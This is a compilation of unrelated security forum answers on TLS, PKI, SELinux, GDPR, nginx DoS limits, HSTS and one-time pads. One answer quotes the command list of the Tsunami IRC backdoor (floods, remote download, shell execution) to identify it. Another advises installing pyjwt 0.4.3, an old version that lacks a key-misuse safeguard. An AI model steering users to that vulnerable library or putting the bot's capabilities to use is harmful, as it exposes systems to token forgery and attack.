Yes, you could do that with a block chain https://en.m.wikipedia.org/wiki/Blockchain

Block chain acts as a distributed ledger, that ledger could contain hashes of video files. Block chain entries are time-stamped and as long as you trust the blockchains current state you could verify the previous hashes haven't changed by verifying app the entries since then.

Here's a research paper talking about storing video hash in the Bitcoin block chain transaction history SECURING VIDEO INTEGRITY USING
DECENTRALIZED TRUSTED TIMESTAMPING
ON THE BITCOIN BLOCKCHAIN


3DES supported in application although disabled in Windows

This is now beginning to sound like a Tomcat configuration question. Although I have no personal experience with Tomcat, some links suggest that this section of the Tomcat documentation guide looks appropriate, in particular the ciphers attribute in the configuration file conf/server.xml. From the docs:

  ciphers attribute:

  The ciphers to enable using the OpenSSL syntax. (See the OpenSSL
  documentation for the list of ciphers supported and the syntax).
  Alternatively, a comma separated list of ciphers using the standard
  OpenSSL cipher names or the standard JSSE cipher names may be used.

  When converting from OpenSSL syntax to JSSE ciphers for JSSE based
  connectors, the behaviour of the OpenSSL syntax parsing is kept
  aligned with the behaviour of the OpenSSL 1.1.0 development branch.

  Only the ciphers that are supported by the SSL implementation will be
  used.

  If not specified, a default (using the OpenSSL notation) of
  HIGH:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!kRSA will be used.

  Note that, by default, the order in which ciphers are defined is
  treated as an order of preference. See honorCipherOrder.

So you now have a way to specify what you want. Actually, you have two ways, either OpenSSL syntax or a JSSE ciphersuite list, and each has it's pros and cons.

The OpenSSL syntax provides a compact specification that allows you specify what you don't want in addition to what you do. The downside is that the terse notation makes it hard to understand just what you're getting.

The JSSE ciphersuite syntax is quite straightforward. You just explicitly list each allowable ciphersuite from this (check here for Java 11)long list, separated by commas. The downside is that as new ciphers are added over time you will have to add to this list to allow their use.


What happens when a server needs to change the cipher during an established TLS session

Session Resumption will re-use the previously negotiated cipher spec, so if you need to renegotiate a different cipher, you will need a new handshake.  To quote RFC 5246 section 7 (emphasis mine):

  The Handshake Protocol is responsible for negotiating a session, which
  consists of the following items:

  ...(session identifier, peer certificate, compression method)...

  cipher spec: Specifies the pseudorandom function (PRF) used to generate keying
  material, the bulk data encryption algorithm (such as null, AES, etc.)
  and the MAC algorithm (such as HMAC-SHA1).  It also defines
  cryptographic attributes such as the mac_length.  (See Appendix A.6
  for formal definition.)

  ...(master secret, is resumable)...

  These items are then used to create security parameters for use by the
  record layer when protecting application data.  Many connections can
  be instantiated using the same session through the resumption feature
  of the TLS Handshake Protocol.


Handling toxic data in a microservice architecture

Why pass toxic data through the intermediaries at all?

These intermediaries, no matter how many, need to have an API endpoint to retrieve the data itself from. Why not expose this endpoint via an API gateway? In order for your source to be secure, it must already be doing checks to see who can access what data. The clients would have the corresponding keys that grant permissions to said data.

Instead of encrypting the data, redact it, and replace it with a reference to where the un-redacted information is stored on the source server. This could take the form of replacing the value with a unique key, that when sent to the source server alongside the secret key will return the toxic data. It could also be a direct reference to the object id.

Think of toxic data as a block of uranium for use in a missile. Do you hide it in a box, and pass it along to every factory that works on the missile, or do you wait till the missile is finished, then retrieve the uranium from the stockpile?


Should I install SELinux onto personal machines?

However I don't see the use of SELinux being promoted as much as I
  expected.  Why is this the case...?

SELinux is a security mechanism which, unless properly configured and tuned, is going to be either ineffective or inappropriately block functionality.  Think of it like a sharp kitchen knife; indispensable in the hands of a skilled chef, but either dangerous or prone to dulling in the hands of a novice.

As a result SELinux is most commonly* only used in canned, OS-distribution configurations which have been carefully designed and tested.  These uses are usually invisible to the user (the hallmark of a well-designed policy!)

SELinux is also most useful with programs that provide an attack surface, which is to say, network-accessible daemons.  As such, it's more appropriate for a server than it is for a "Personal Machine"

  would anyone recommend installing a SELinux kernel onto a personal
  Linux machine?

I would rephrase your question as "when would it be recommended to install...", as the recommendation is dependent upon the circumstances.

If you are interested in learning about security, and have never played around with Mandatory Access Control before, and you have a machine where you don't mind horribly if it gets wedged up and needs fixing, then I would recommend playing with SELinux.  MAC can be fascinating if you've never played with it before.
If you have less trusted processes (say, you're running a Minecraft or similar server for your friends but don't fully trust it) that make you nervous, and you're willing to spend some time and effort building a configuration that works without breaking things (and breaking, and fixing, things along the way) then you might want to consider SELinux... but recognize it's a bit of work if you're not just taking a working profile from somewhere.
If your personal machine is a tool for getting stuff done and you're going to feel inconvenienced if things need adjusting, and you don't have a particular threat level that makes you feel more nervous than normal, then I don't recommend SELinux.

*In my personal experience; YMMV.  For example, SELinux is enabled by default on Red Hat Enterprise Linux.  But on something like Ubuntu you have to go out of your way to add it.


Two issuing CAs in a two-tier PKI (Windows Server 2012)

Your CAs are only used to issue the certificates and revocation lists - once issued, the CAs are redundant until such time as you wish to issue more certificates or issue/renew a CRL.

Revocation information, on the other hand, needs to be available 24/7. Some (all?) clients cache the revocation information, which may give you some leeway, but even so, you should consider your CDP up time to be far more significant than your CA up time.

If you are concerned about the reliability of your VPN, then consider running a CDP at either end.  Some DNS magic (split DNS?) may allow you to have the URL of your CDP to point to the client's local site regardless of whether it is site 1 or 2.

Therefore, to answer your question:

The clients on the remote site can access a HTTPS website on that remote site only if revocation information is available to the client; assuming the client checks revocation, of course.
While you can place a 2nd CA on the remote site, managing certificates becomes a little harder then. A better plan would be to have a single issuing CA and multiple CDPs.  Of course, if your VPN is down more than it is up, then it may be better to consider them as two isolated sites and run a CA and CDP at each.


New EU Data protection Law and small businesses

The data protection law requires companies to protect personal information in a reasonable secure way. The fine is scalable as it depends on the company's annual turnover. It's a bit more 'fair' than on a per-employee basis (e.g. a 5 man company can have 100k but als a 5 million euro turnover).

First of all note that this is not entirely new, so if you are suddenly thinking about data protection, you are probably not compliant with local regulations.

Data protection acts have existed for several years, the issue why a European DPL was created was mostly affecting larger companies with entities in different countries who all had their own set of laws with regard to DPP. There are more advantages for companies who were already complying. The companies who will have issues  are the ones who are currently not complying with the DPL.

The advantages for companies are:

One continent, one law: The Regulation will establish a single,
pan-European law for data protection, replacing the current
inconsistent patchwork of national laws. Companies will deal with one
law, not 28. The benefits are estimated at €2.3 billion per year.
One-stop-shop: The Regulation will establish a 'one-stop-shop' for
businesses: companies will only have to deal with one single
supervisory authority, not 28, making it simpler and cheaper for
companies to do business in the EU; and easier, swifter and more
efficient for citizens to get their personal data protected.

The one thing a lot of companies are worried about is this:

European regulators will be equipped with strong enforcement powers:
data protection authorities will be able to fine companies who do not
comply with EU rules up to 2% of their global annual turnover. The
European Parliament has even proposed to raise the possible sanctions
to 5%.

Companies who are worried about this are mostly companies which are part of a European country who do not have strict or not enforced data protection regulations.

The directive doesn't require you to purchase expensive hardware, it requires you to have controls in place to, within reason, make sure you are adequately protecting your data. This is quite broad and leaves it open for interpratation (mostly not by you, but by a judge). IDS and IPS needn't be expensive. There are free open-source based HIDS as well. It's up to you to perform a risk assessment and see what software/hardware you will need based on the chance that a threat might materialize.

It will require companies, also small once, to think about data governance and how they manage access to certain personal data. It also gives incentive to remove personal data once it's no longer required. The directive serves as a reminder and incentive for companies in general to think about their data security and what the consequences might be.

Small to medium size enterprises will be excempt for certain requirements:

Data Protection Officers: SMEs are exempt from the obligation to
appoint a data protection officer insofar as data processing is not
their core business activity.
No more notifications: Notifications to supervisory authorities are a
formality and red tape that represents a cost for business of €130
million every year. The reform will scrap these entirely.
Every penny counts: Where requests to access data are manifestly
unfounded or excessive, SMEs will be able to charge a fee for
providing access.
Impact Assessments: SMEs will have no obligation to carry out an
impact assessment unless there is a specific risk.

The rules will also be flexible. The EU rules will adequately and correctly take into account risk. In a number of cases, the obligations of data controllers and processors are calibrated to the size of the business and to the nature of the data being processed.


There's nothing encoded in the log example, it's just a regular IPv6 address. According to db-ip.

  2601:283:c200:8782:8039:dc84:e32c:513a is an IPv6 address owned by Comcast Cable Communications and located in Pueblo, United States

If you are in a legal dispute and suspect being a victim of stalking, you should cooperate with your local authorities.


How can I mitigate attacks that rely on poisoned data as a developer?

The attack you describe happens because the user account is a container of credit cards, and Amazon equated "knowledge of a contained object" with "knowledge of the container".  It's not surprising, because everyone assumes that a credit card must be kept secret, therefore knowledge of the credit card was evidence that the attacker had knowledge of a secret.

To prevent this, you could verify a user based on their knowledge of information provided at the time of registration.  That means when an agent is bringing up the screen to help someone who "can't remember their password", they should have access only to that limited data, not to all of the account data.  Otherwise, you could make a similar attack by observing someone making a purchase, then calling Amazon and saying "Of course it's me, I bought a widget yesterday for $100 from widgets.com, you should see that in my account history."

Another option would be to require validation of all contained data.  If the caller says "my card # is 123, it's my account", the agent should be able to ask "how many other cards are on the account?  Please tell me all of the account numbers."

Of course a better approach might be to require validation of the user before allowing them to add items to the container.  Why should you be able to add a credit card to an account unless you can prove it's your account?  What business benefit does that serve?


Can my job see what I do on my home computer if I use my work computer on my home network?

This is a new permutation of this question.

No, any monitoring software on your work computer cannot see what is going on with your personal computers.

No, the company network monitoring technology cannot see what is going on in your personal computers if your personal computers are not using the company VPN.

Concerns like this should be asked of your IT department because inadvertent monitoring of non-work devices would be a big problem in most countries.


Are iPhones intrinsically more secure than updated Android phones?

I will attempt to make this question which could easily be viewed as an "opinion based answer" into something with concrete facts.

I think that, on a whole, the Android ecosystem is a tire fire. If you put every iPhone sold up against every device running Android sold up against each other and compared which platform had more security vulnerabilities, Android would win by a landslide. The reason for this is the variety of form factors and phone manufacturers makes cheap hardware possible, but you have no vetting of your supply chain in many cases. We have seen Android handsets sent with factory installed malware in several cases. Couple this with the fact there is no easy native backup solution which drives people to root their phones and you have an environment where malware can thrive.

Now with that said, if you put a Google Pixel, which was purchased from the manufacturer, not rooted and running the standard ROM (without any carrier bloatware) up against an iPhone I would argue that there is no difference in security between one or the other. Both manufacturers tightly control their supply chain and manufacturing process, as well as put out ROMs or OS's with a security focus in mind.


How do I bypass a return address overwrite not doing anything?

I'm pretty confident your OS doesn't stop the overflow.

Seeing as you're just testing how overflow works I would highly recommend reading this Buffer Exploit Blog. This blog also describes how to bypass it.

I haven't personally tested your code, however, I am confident if you run a simple online tutorial or modify your code a little, that would be better.

TIP: Use Objdump if you haven't started it. Start by trying these Examples


Are there any objective reasons to use dedicated user/password instead of identity providers within a large organization?

For most organizations, a comprehensive unified identity system is a positive thing. You asked if there are any reasons not to do this. I'll list a few which may or may not be valid in different organizations:

The system does not support the identity provider. You may have a legacy terminal-based mainframe system that it is not easy to link to AD. There are many commercial products to link legacy products to identity systems, although these can be costly. Alternatively, you may have cloud-based systems (like Salesforce) that you struggle to integrate with.
The system is sensitive and you don't want to expose it in case of a breach of the identity system. This may be valid for a small number of highly sensitive systems, although this argument is over-used in enterprise environments. If your identity provider is AD, a breach of AD is likely to mean a breach of all the workstations that people would user to administer these systems, so separation is little more than security theatre.
The identity provider is not accessible from the system. A common example is Internet-facing systems in a DMZ that are blocked by a firewall from accessing the internal AD. I've seen large organizations that create a separate AD for DMZ systems. A similar issue can occur with development vs production systems.
Some users are not part of the identity provider. The classic example is where you have a few external users accessing an internal system. You can deal with this by having the system support multiple authentication methods, or allowing the external users to be in your identity provider, with appropriate restrictions.

Whether the difficulties of integrating a system with the identity provider are worth the benefits is a balancing act. Most IT admins accept that managing a horde of credentials is part of the job.


OpenVPN client can still connect to the server after client's tls-auth key has changed

https://community.openvpn.net/openvpn/wiki/327-changed-hex-bytes-in-the-static-key-the-key-still-connects-to-a-remote-peer-using-the-original-key

In short, the key is overly large. Not all portions of the file is actually used in current implementations.


Installing fail2ban and configure DoS/DDoS configuration will be solve your problem. It supports rate limiting. And dynamical writes IPTables rules.
If you use Red Hat or CentOS use following as root.

yum install fail2ban -y
chkconfig fail2ban on
vim /etc/fail2ban/jail.conf
service fail2ban restart


Is it possible someone uses my cell number to make calls for my cell phone company to create a record?

The term is "phone number spoofing". It is quite easy to make calls from a phone number other than your own, this is usually done with VoIP software, although I don´t use skype either and I don´t know if skype has this capability. In other words I doubt your phone or the company is the problem.


Yi Dome Wifi Camera / Yi Home App - Network Security

I think that, while I don't have direct experience with this camera nor with the manufacturer, recent knowledge would show that you would NEVER trust such a setup.

With the best will in the world, the reason for buying direct Chinese kit is because it is very cheap. That's fine, I do so myself. But I would never trust any "security" product (from any country actually) that required a vendor website connection over the Internet in order for it to work.

You will have to assume that other people will certainly have access to the output of the camera. You should also assume that others can take control of the camera or add it to one of the several known (and how many unknown I wonder) botnets out there.

If you can use the camera directly, make sure you configure your routers firewall to block outbound traffic from the camera. Use your router's DHCP settings to fix it's IP address while you are at it which will make it slightly easier.

The reason no router/firewall configuration is required for the WAN connection is that the camera makes a connection out to the vendors servers and then keeps that connection open. Well hopefully that's the case because the alternative is that it uses UPnP to open an inbound hole.

By the way, if you cannot use the camera directly, I strongly recommend you return it unopened. Because even if the security were OK, you will never actually own the camera, you will only be leasing it until the vendor goes broke or gets bored with running the service. Then all you have is another paperweight.


JWT encoding using HMAC with asymmetric key as secret

Use an old version of pyjwt (0.4.3) where this exception wasn't implemented yet.

pip install pyjwt==0.4.3


How do phone location services get their information?

As for the services receiving the location, (I would assume it works this way, since they assure no GPS is used) it is highly possible that these services acting as a receiver (instead of a normal phone), receive the information about which phone mast the message came from, which always reveals the area of which the "victim" is around, since to communicate via SMS/Calls, the phone connects to the nearest phone mast, revealing the area of the sender.


Is SecureShellz bot a virus? How does it work?

Send a mail to your sysadmin (you HAVE TO contact someone above you) or send it directly to the CIO, if you have to convince him, explain what you found and attach this part of the file named "a.c", that should suffice:

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

Here are a few references to this particular backdoor:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami-hits-os-x

I can't find any reverse engineering of this malware, sorry.


The idea of the BCC field is indeed to keep recipients undisclosed from each other. But it should not be understood as a reliable security feature and I wouldn't trust it in a life-and-death situation.

Servers often add additional headers to emails during processing. These headers might, as a side effect, inadvertently reveal BCC recipients to everyone else. For example, this has been a problem with various email encryption implementations. Some research on that can be found in the paper Correcting Privacy Violations in Blind-Carbon-Copy (BCC) Encrypted Email. From the abstract:

  We show that many widely deployed email encryption systems reveal the
  identities of Blind- Carbon-Copy (BCC) recipients. For example,
  encrypted email sent using Microsoft Outlook completely exposes the
  identity of every BCC recipient. Additionally, several
  implementations of PGP expose the full name and email address of BCC
  recipients.

I could imagine that similar problems exist with anti-spam filters or other forms of email processing that your mail server might employ.

Also, there have been flawed implementations in the past. For example, Microsoft Outlook Express Information Disclosure Vulnerability
(CVE-2004-2137):

  Microsoft Outlook Express 6.0 SP1 and prior contain a vulnerability that could cause private information to be disclosed to e-mail recipients.  The application may arbitrarily allow a recipient to view the addresses listed in the BCC: field.

As an alternative I'd suggest you to send the mail to each BCC recipient individually. If there are many of them, you can use a bulk email plugin for your mail client that will send the mails one by one.

You can find a related answer here.


Nginx: mod-security rule for http slow DoS attack

To my knowledge, NGINX does not include anything like to describe, but we can implement our own. As I understand Apache 2 modsecurity_crs_11_slow_dos_protection, limits the number of connections. modsecurity_crs_11_slow_dos_protection

NGINX has a webpage, Mitigating DDoS Attacks with NGINX and NGINX Plus which mentions several methods for DDoS. Three ideas from their website come to mind:

Limiting the Rate of Requests

  You can limit the rate at which NGINX and NGINX Plus accept incoming
  requests to a value typical for real users. For example, you might
  decide that a real user accessing a login page can only make a request
  every 2 seconds. You can configure NGINX and NGINX Plus to allow a
  single client IP address to attempt to login only every 2 seconds
  (equivalent to 30 requests per minute):

limit_req_zone $binary_remote_addr zone=one:10m rate=30r/m;

server {
    # ...
    location /login.html {
        limit_req zone=one;
    # ...
    }
}

  The limit_req_zone directive configures a shared memory zone called
  one to store the state of requests for the specified key, in this case
  the client IP address ($binary_remote_addr). The limit_req directive
  in the location block for /login.html references the shared memory
  zone.

Limiting the Number of Connections

  You can limit the number of connections that can be opened by a single
  client IP address, again to a value appropriate for real users. For
  example, you can allow each client IP address to open no more than 10
  connections to the /store area of your website:

limit_conn_zone $binary_remote_addr zone=addr:10m;

server {
    # ...
    location /store/ {
        limit_conn addr 10;
        # ...
    }
}

  The limit_conn_zone directive configures a shared memory zone called
  addr to store requests for the specified key, in this case (as in the
  previous example) the client IP address, $binary_remote_addr. The
  limit_conn directive in the location block for /store references the
  shared memory zone and sets a maximum of 10 connections from each
  client IP address.

Closing Slow Connections

  You can close connections that are writing data too infrequently,
  which can represent an attempt to keep connections open as long as
  possible (thus reducing the server’s ability to accept new
  connections). Slowloris is an example of this type of attack. The
  client_body_timeout directive controls how long NGINX waits between
  writes of the client body, and the client_header_timeout directive
  controls how long NGINX waits between writes of client headers. The
  default for both directives is 60 seconds. This example configures
  NGINX to wait no more than 5 seconds between writes from the client
  for either headers or body:

server {
    client_body_timeout 5s;
    client_header_timeout 5s;
    # ...
}

Notice we only 'slow' connections for a DDoS, while DoS we need to mitigate by closing (or refusing) connections we deem malicious. Keep in mind the attack mitigations mentioned above are application layer DDoS mitigation. So, resources (CPU and Memory) are still be used. See, encapsulation and IP suite (TCP/IP) regarding resource usage, as resources are needed to encapsulate and de-encapsulate (frame -> packet (or datagram) -> segment -> PDU).


How are hidden private URLs being "leaked" to third parties?

Answering my own question in case it's useful to others.
In order to distinguish between the 3 possible sources of URL 'leaks' I stopped monitoring the site from a Windows PC (Win10+Bitdefender+Chrome+various plugins) for 10 days from Oct 20-29th inclusive, and switched to monitoring only from the Linux server itself, again using Chrome.
At the end of that period the Apache logs show that no external requests were seen for the hidden & protected site URLs. This eliminates the possibility that URLs were being leaked from the server itself, and probably also rules out Chrome as the culprit (unless the source is a Windows-only plugin). To my mind this strongly points the finger at Bitdefender, which appears to be passing some user requests onto external servers, for purposes which are not clear, or documented.
In case it helps others spot the same pattern of mystery requests, the general form is either:

An initial URL GET from 195.47.249.18 [Bayer Business Services GmbH] followed immediately by the same URL from an AWS EC2 instance in the us-west-2 region.
Less often, a single 'region-less' EC2 request, for example from ec2-35-173-186-156.compute-1.amazonaws.com.

The complete list of external request sources for hidden URLs on Nov 1st 2020 is as follows:
195.47.249.18 - - [01/Nov/2020:01:08:10 +0000] "GET /{redacted}/02a7e770-a5e4-4879-baa5-e0d2aba771a5 HTTP/1.1" 404 - 1961
[Bayer Business Services GmbH]

54.186.168.31 - - [01/Nov/2020:01:08:10 +0000] "GET /{redacted}/02a7e770-a5e4-4879-baa5-e0d2aba771a5 HTTP/1.1" 404 - 3630
[ec2-54-186-168-31.us-west-2.compute.amazonaws.com]

52.38.242.51 - - [01/Nov/2020:01:25:51 +0000] "GET /{redacted}/b594cd3a-c464-4b3a-9c6e-60fb54ff07f0 HTTP/1.1" 404 - 3373
[ec2-52-38-242-51.us-west-2.compute.amazonaws.com]

34.219.247.27 - - [01/Nov/2020:01:39:48 +0000] "GET /{redacted}/60e876e4-15ef-4ad9-a92f-5701b29c3917 HTTP/1.1" 404 - 3327
[ec2-34-219-247-27.us-west-2.compute.amazonaws.com]

34.213.140.185 - - [01/Nov/2020:01:49:58 +0000] "GET /{redacted}/b02171fa-1a12-4952-a459-7d8aa444b4d3 HTTP/1.1" 404 - 3198
[ec2-34-213-140-185.us-west-2.compute.amazonaws.com]

52.10.55.64 - - [01/Nov/2020:01:52:15 +0000] "GET /{redacted}/b5690f82-3c51-4338-a1d8-05430ffbbff2 HTTP/1.1" 404 - 3414
[ec2-52-10-55-64.us-west-2.compute.amazonaws.com]

54.190.25.188 - - [01/Nov/2020:02:01:31 +0000] "GET /{redacted}/5cd37165-b5a0-41c2-9939-1ef651e04cf4 HTTP/1.1" 404 - 3701
[ec2-54-190-25-188.us-west-2.compute.amazonaws.com]

52.25.94.232 - - [01/Nov/2020:02:06:02 +0000] "GET /{redacted}/5a9d6b04-1bd3-4089-823a-d7e767f91224 HTTP/1.1" 404 - 3062
[ec2-52-25-94-232.us-west-2.compute.amazonaws.com]

34.220.193.71 - - [01/Nov/2020:02:16:52 +0000] "GET /{redacted}/05e4d8d3-6c57-4d8d-8a50-9a4502db96e3 HTTP/1.1" 404 - 3589
[ec2-34-220-193-71.us-west-2.compute.amazonaws.com]

3.231.31.179 - - [01/Nov/2020:02:21:45 +0000] "GET /{redacted}/8ec59182-c8fd-48fd-b826-3f01f7341c1c HTTP/1.1" 404 - 2754
[ec2-3-231-31-179.compute-1.amazonaws.com]

35.165.202.25 - - [01/Nov/2020:02:21:45 +0000] "GET /{redacted}/8ec59182-c8fd-48fd-b826-3f01f7341c1c HTTP/1.1" 404 - 2734
[ec2-35-165-202-25.us-west-2.compute.amazonaws.com]

35.173.186.156 - - [01/Nov/2020:02:37:32 +0000] "GET /{redacted}/02a7e770-a5e4-4879-baa5-e0d2aba771a5 HTTP/1.1" 404 - 3222
[ec2-35-173-186-156.compute-1.amazonaws.com]

54.172.84.153 - - [01/Nov/2020:02:54:52 +0000] "GET /{redacted}/708f9b0f-252f-42da-a50f-9ade2cc96667 HTTP/1.1" 404 - 1892
[ec2-54-172-84-153.compute-1.amazonaws.com]

18.237.236.242 - - [01/Nov/2020:02:54:52 +0000] "GET /{redacted}/708f9b0f-252f-42da-a50f-9ade2cc96667 HTTP/1.1" 404 - 1913
[ec2-18-237-236-242.us-west-2.compute.amazonaws.com]

34.212.199.166 - - [01/Nov/2020:02:56:45 +0000] "GET /{redacted}/9b40a90e-d0d4-43df-b451-9713ea1731a6 HTTP/1.1" 404 - 3619
[ec2-34-212-199-166.us-west-2.compute.amazonaws.com]

3.87.65.70 - - [01/Nov/2020:03:36:08 +0000] "GET /{redacted}/9b40a90e-d0d4-43df-b451-9713ea1731a6 HTTP/1.1" 404 - 1951
[ec2-3-87-65-70.compute-1.amazonaws.com]

52.90.240.183 - - [01/Nov/2020:04:37:12 +0000] "GET /{redacted}/df96f0ce-e7c2-4de2-ba6e-8aca06e0b4d9 HTTP/1.1" 404 - 3491
[ec2-52-90-240-183.compute-1.amazonaws.com]


How secure is using a blank index.html / index.php?

There isn't anything inherently insecure about the method you describe. However, this isn't the proper way to prevent directory browsing. It is easy to forget to add an empty index.html or index.php file to directories especially if you are managing tens of directories.

You should instead configure your web server appropriately to turn  off directory indexing.

This can be done by removing the Indexes directive from the Options line in httpd.conf. If you need to list directory contents for special directories, you can overwrite it in individual directories using the .htaccess file.


Should the Strict-Transport-Security max-age be tied to the duration of the certificate?

It's two separate things. LetsEncrypt set their certificates to be short-lived because they expect their users to constantly renew them, short-lived certificates limit the exposure time of a lost private key.

Paid certificates are usually issued manually, and hence live a bit longer, for practical reasons (much harder to issue certs every 90 days when somebody has to click buttons and fill out forms).

HSTS on the other hand, was built to ensure that the browser 'remembers' the status of the site, and use HTTPs when accessing it. This has obvious security benefits, but also has a slight performance improvement as well -- the browser will itself perform a 307 redirect and not even attempt a plain-http requests. This saves the user one entire round-trip to the site.

However, the main benefit is obviously security. Once a user visits your legitimate site, and gets their HSTS set -- it's much harder for attackers to spoof your website against their browser, because now the spoofed sites needs a valid cert!

In short, you want to set your HSTS to be as long as possible to enjoy the security and performance benefits -- while you'll like to set your TLS certs to live as short as possible to reduce the threat of a lost key.

Given that, setting the HSTS to equal the max-age of your cert makes no sense at all. After all, even if your cert was set to 90 days, a client visiting your site on day 81, would have their HSTS set to 90 days -- even though your cert would expire 9 days later (hopefully you'll be renewing shortly!)

I understand some concern from folks around, "what would happen if I can't serve https anymore". This was my worry 5-6 years ago, when we started using HSTS, but now this is a very very small issue.

LetsEncrypt is totally free, and all webservers are very easily configurable for it. If you had a catastrophic failure on your website, the amount of time rebuilding it would be much larger than the small incremental step of adding https. If all else fails -- you can always just use Cloudflare or any other CDN to give you https as well.


Protocol version is the result of a negotiation between client and server. Client sends, in the ClientHello, the maximum version that it supports; then the server responds with the version that will be used. Normally, the server will select the highest protocol version that it supports and is not higher than the client's advertised max version.

Here, with the openssl command-line tool as client, you got TLS 1.0. So either the client (here, OpenSSL) or the server knows only TLS 1.0 and not 1.2.

The /usr/bin/openssl tool shipped with OS X is pretty old; on an up-to-date OS X installation (El Capitan), it is OpenSSL-0.9.8zg -- this is an ancient OpenSSL with bug fixes, but no support for features added in the OpenSSL-1.* versions. In particular, no TLS 1.1 or 1.2. Which explains that, with OpenSSL, you only get 1.0.

(OS X does not upgrade OpenSSL to the newer versions because the OpenSSL developers broke backward compatibility in the API, so changing the library version may break third-party existing applications that use it.)

To further investigate your issue, I suggest the following:

Try a newer openssl client. You could use MacPorts (for instance) to reasonably easily install such opensource software.
You may want to test your server with one of the tools that are dedicated to such a purpose. If your server is reachable from the Internet, Qualys SSL Labs is the usual method. For servers on private networks, there are also command-line tools such as testssl.sh or TestSSLServer that can give you some information.
You should observe a SSL handshake attempt with a network monitoring application (e.g. Network Monitor on the Windows server, or Wireshark). This will reveal whether the client tries to initiate a handshake at all, what versions / cipher suites it sends, and what the server responds.

Such a trace may also reveal other things, such as failed attempts to download CRL as part as certificate validation on the client side.


Future proof encryption possible in theory?

TL;DR in bold:

We don't have crystal balls to predict where technology will take us, but the purpose of cryptography is to develop algorithms that have just this kind of resistance on a very fundamental level.

Mathematically speaking, in terms of "honestly" brute-forcing a single plaintext from a single ciphertext, knowing everything that would otherwise be needed to decrypt the plaintext other than the key, a 256-bit block cipher should be considered uncrackable by the laws of thermodynamics; our Sun will not emit enough photons in its active life (before it becomes a black dwarf) to enable a computer that works at the electron level with perfect efficiency to try every possible key in the 256-bit keyspace. The computer would be starved for energy after trying about 2^218 key values, meaning that if it tried keys perfectly randomly without replacement, and the key was also chosen perfectly randomly, it would only have a one in 275 billion chance to have found the correct key, given roughly 5 billion years before the Sun goes nova.

There is, however, one distinct disadvantage to the use of any computational hardware or software in existence today; it is already obsolete. It would be foolish to assume that any binary implementation currently used to encipher messages, nor any computer, language or even logical structure used to develop or execute that binary code, will still be in existence in 100 years. We already have problems with the availability of hardware that can read or write storage devices that were universal standards only 20 years ago, like floppy disks and tape drives. Even power plugs have changed fundamentally in the last 50 years, and those plugs and receptacles (and the exact specs of the power they use) are only regional standards as it is. Hell, 100 years ago we were riding horses, not driving cars. So, if you plan to encrypt something and then store the device used to produce it, I can virtually guarantee that in 100 years everything about the device will be so obsolete it will be unusable.

Given this 100-year expected timespan, I would rely on one of the simplest and yet most secure ciphers known to man; the one-time pad.

Simply create a numeric "alphabet" relating a number value to every character symbol you wish to be able to encipher (don't forget any needed punctuation, such as spaces, commas, periods, single/double quotes etc; you must not use more than 100 symbols, but most fully-formatted English-language messages will be well underneath this limit, even with capital letters). Then, gather a series of numbers, from zero to 99. You will need one of these numbers per character of the message. These numbers must be genuinely random; serious users of one-time pads usually gather bit data from environmental sources, such as measurements of background radiation detected on a radio telescope. For today's purposes, you could purchase a 100-sided die and give it a roll around the inside of a bowl to produce each number. It should also be acceptable to use a CSPRNG, provided that it is properly seeded from a source of true entropy (provided that the seed value is discarded after use, you probably won't need enough numbers from the PRNG for an attacker to be able to predict them). Make sure the memory is fully cleared from any electronic device used to generate random data.

To encrypt, take the random pad, the numeric alphabet, and the message you wish to encrypt into a place where you can't be seen by anyone else or any surveillance equipment (you know, just in case). Take the first character of the message, look up its alphabet code number, then get the first number from the random pad, and subtract the random number from the character code. If you end up with a number less than zero, subtract that number from 100. Look the resulting number up on the alphabet chart, and write down the character as the first character of the ciphertext. Repeat with the second character of the plaintext and the second number of the random pad. Continue through the message until you have encoded every character of the plaintext message. You must have used every number of the random pad, in order, once and only once.

When you're done, you burn or otherwise completely destroy your copy of the plaintext, and physically secure the random pad and alphabet. This is important; nobody should be able to get their hands on the random pad for 100 years, but they must be able to get to it in 100 years. The alphabet is not technically a secret, but it's inclusion with the ciphertext is a clue as to the use of a one-time pad (leading people to go searching for the pad), so I'd recommend keeping it with the pad. The ciphertext itself is perfectly secure in its encrypted form; you can chisel it into the stonework of the Supreme Court building if you wanted (and could do it fast enough to finish before the DC Metro Police took you away). It could be any of a number of alphabet ciphers, lending a little entropy to mask the discovery that it's a OTP in the first place.

To decrypt, someone must have the ciphertext, the same one-time pad and the same alphabet table that you used to encrypt. They take the ciphertext's first character, look up the number in the alphabet table, then add the number from the one-time-pad and modulo by 100 (simply truncating the hundreds place wherever it shows up). They turn the resulting number back into a character using the alphabet, and write it down. They then continue, character by character and number by number. Again, they must use every number of the random pad, in order, once and only once.

The one-time pad is a very old system, first being described in 1882 and re-invented in 1917, and it has the ultimate advantage; it is provably impossible to crack. Being genuinely random, there is no mathematical pattern to any of the numbers of the random pad (which forms the "key" of the cipher), and because each number is only ever used once (if you have more than 100 characters you will see the same two-digit number in the pad twice, but you can never predict when), the pad itself is never repeated. Thus, any attempt to decipher the message without the exact same pad is futile; it could produce gibberish, or it could produce a message of exactly the same number of characters, but whose content is something completely different. The only way to be sure that every character of the message is decrypted correctly is to have the exact same sequence of random numbers that encrypted the thing in the first place.

